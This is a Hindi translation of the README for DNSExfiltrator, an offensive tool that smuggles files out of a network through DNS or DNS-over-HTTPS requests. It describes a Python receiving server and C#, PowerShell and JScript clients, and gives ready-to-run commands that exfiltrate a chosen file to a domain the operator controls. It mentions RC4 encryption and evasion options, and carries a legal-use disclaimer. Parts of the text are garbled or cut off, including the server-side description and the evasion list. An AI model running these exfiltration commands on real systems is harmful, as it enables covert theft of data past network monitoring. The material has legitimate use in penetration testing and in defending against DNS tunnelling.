
DNS अनुरोध गुप्त चैनल के माध्यम से डेटा निकासी
लेखक: Arno0x0x - @Arno0x0x
DNSExfiltrator एक DNS अनुरोध गुप्त चैनल पर एक फ़ाइल को स्थानांतरित करने (exfiltrate) की अनुमति देता है। यह मूल रूप से एक डेटा लीक परीक्षण उपकरण है जो एक गुप्त चैनल पर डेटा को exfiltrate करने की अनुमति देता है।
DNSExfiltrator के दो पक्ष हैं:
dnsexfiltrator.py) के रूप में आता है, जो एक कस्टम DNS सर्वर के रूप में कार्य करता है, फ़ाइल प्राप्त करता है।dnsExfiltrator.cs: एक C# स्क्रिप्ट जिसे csc.exe के साथ संकलित किया जा सकता है ताकि एक Windows प्रबंधित निष्पादन योग्य बनाया जा सके।Invoke-DNSExfiltrator.ps1: एक PowerShell स्क्रिप्ट जो dnsExfiltrator असेंबली को लपेटकर समान कार्यक्षमताएँ प्रदान करती है।dnsExfiltrator.js: एक JScript स्क्रिप्ट जो DotNetToJScript का उपयोग करके dnsExiltrator DLL असेंबली का रूपांतरण है, और समान कार्यक्षमताएँ प्रदान करती है।पूरी चीज़ को काम करने के लिए आपके पास एक डोमेन नाम होना चाहिए और उस डोमेन के लिए DNS रिकॉर्ड (NS) को उस सर्वर की ओर इंगित करने के लिए सेट करना होगा जो dnsexfiltrator.py सर्वर पक्ष चलाएगा।
डिफ़ॉल्ट रूप से, DNSExfiltrator सिस्टम द्वारा परिभाषित DNS सर्वर का उपयोग करता है, लेकिन आप एक विशिष्ट सर्वर भी सेट कर सकते हैं (उदाहरण के लिए डिबगिंग उद्देश्यों या सर्वर पक्ष को स्थानीय रूप से चलाने के लिए उपयोगी)।
वैकल्पिक रूप से, h पैरामीटर का उपयोग करके, DNSExfiltrator Google या CloudFlare DoH सर्वरों का उपयोग करके DoH (DNS over HTTP) कर सकता है।
डिफ़ॉल्ट रूप से, exfiltrate किए जाने वाले डेटा को DNS अनुरोधों में फिट करने के लिए base64URL एन्कोड किया जाता है। हालाँकि, कुछ DNS रिज़ॉल्वर इस एन्कोडिंग को तोड़ सकते हैं (यह उचित है क्योंकि FQDN को वैसे भी केस संवेदनशील नहीं माना जाता है) केस की संवेदनशीलता (ऊपरी या निचला मामला) के साथ खिलवाड़ करके, जो एन्कोडिंग/डिकोडिंग प्रक्रिया के लिए स्पष्ट रूप से महत्वपूर्ण है। इस समस्या को दूर करने के लिए आप डेटा के Base32 एन्कोडिंग को लागू करने के लिए -b32 फ़्लैग का उपयोग कर सकते हैं, जिसमें थोड़ा साइज़ ओवरहेड आता है। यदि आप CloudFlare DoH का उपयोग कर रहे हैं, तो base32 एन्कोडिंग स्वचालित रूप से लागू होती है।
DNSExfiltrator प्रदान किए गए पासवर्ड का उपयोग करके डेटा को एन्क्रिप्ट/डिक्रिप्ट करने के लिए बुनियादी RC4 एन्क्रिप्शन का समर्थन करता है।
DNSExfiltrator पहचान से बचने के लिए कुछ वैकल्पिक सुविधाएँ भी प्रदान करता है:
एकमात्र निर्भरता सर्वर पक्ष पर है, क्योंकि dnsexfiltrator.py स्क्रिप्ट बाहरी dnslib लाइब्रेरी पर निर्भर करती है। आप इसे pip का उपयोग करके स्थापित कर सकते हैं:
pip install -r requirements.txt
सर्वर पक्ष
dnsexfiltrator.py स्क्रिप्ट को डोमेन नाम और डिक्रिप्शन पासवर्ड पास करके प्रारंभ करें:
root@kali:~# ./dnsexfiltrator.py -d mydomain.com -p password
क्लाइंट पक्ष
आप या तो संकलित संस्करण का उपयोग कर सकते हैं, या PowerShell रैपर (जो मूलतः एक ही चीज़ है) या JScript रैपर का। किसी भी स्थिति में, पैरामीटर समान होते हैं, केवल PowerShell में उन्हें पास करने के तरीके में थोड़ा अंतर है।
1/ C# संकलित Windows निष्पादन योग्य का उपयोग करना (जिसे आप release निर्देशिका में पा सकते हैं):
dnsExfiltrator.exe <file> <domainName> <password> [-b32] [h=google|cloudflare] [s=<DNS_server>] [t=<throttleTime>] [r=<requestMaxSize>] [l=<labelMaxSize>]
file: [अनिवार्य] exfiltrate की जाने वाली फ़ाइल का फ़ाइल नाम।
domainName: [अनिवार्य] DNS अनुरोधों के लिए उपयोग किया जाने वाला डोमेन नाम।
password: [अनिवार्य] exfiltrate किए जाने वाले डेटा को एन्क्रिप्ट करने के लिए उपयोग किया जाने वाला पासवर्ड।
-b32: [वैकल्पिक] डेटा का base32 एन्कोडिंग उपयोग करें। कुछ DNS रिज़ॉल्वर केस तोड़ने के कारण आवश्यक हो सकता है।
h: [वैकल्पिक] Google या CloudFlare DoH (DNS over HTTP) सर्वर का उपयोग करें।
DNS_Server: [वैकल्पिक] DNS अनुरोधों के लिए उपयोग किया जाने वाला DNS सर्वर नाम या IP। डिफ़ॉल्ट रूप से सिस्टम वाला।
throttleTime: [वैकल्पिक] प्रत्येक DNS अनुरोध के बीच प्रतीक्षा करने का समय मिलीसेकंड में।
requestMaxSize: [वैकल्पिक] प्रत्येक DNS अनुरोध के लिए अधिकतम आकार बाइट्स में। डिफ़ॉल्ट 255 बाइट्स।
labelMaxSize: [वैकल्पिक] प्रत्येक DNS अनुरोध लेबल (उपडोमेन) के लिए अधिकतम आकार वर्णों में। डिफ़ॉल्ट 63 वर्ण।
2/ PowerShell स्क्रिप्ट का उपयोग करना, इसे अपने किसी भी पसंदीदा तरीके से कॉल करें (आप शायद PowerShell स्क्रिप्ट को आमंत्रित करने के कई तरीके जानते हैं) स्क्रिप्ट पैरामीटर्स के साथ। सबसे बुनियादी उदाहरण:
c:\DNSExfiltrator> powershell
PS c:\DNSExfiltrator> Import-Module .\Invoke-DNSExfiltrator.ps1
PS c:\DNSExfiltrator> Invoke-DNSExfiltrator -i inputFile -d mydomain.com -p password -s my.dns.server.com -t 500
[...]
आगे के उपयोग उदाहरणों के लिए स्क्रिप्ट फ़ाइल में EXAMPLES अनुभाग देखें।

3/ JScript स्क्रिप्ट का उपयोग करना, इसे वही तर्क पास करें जो आप स्टैंडअलोन Windows निष्पादन योग्य के साथ करते:
cscript.exe dnsExiltrator.js inputFile mydomain.com password
या, कुछ विकल्पों के साथ:
cscript.exe dnsExiltrator.js inputFile mydomain.com password s=my.dns.server.com t=500
यह उपकरण केवल कानूनी और वैध तरीके से उपयोग करने के लिए है:
Empire के लेखकों का कहना है: वैधानिक infosec उद्योग के लिए उपयोगी आक्रामक उपकरण बनाने का कोई तरीका नहीं है जबकि साथ ही दुर्भावनापूर्ण अभिनेताओं को उनका दुरुपयोग करने से रोका जा सके।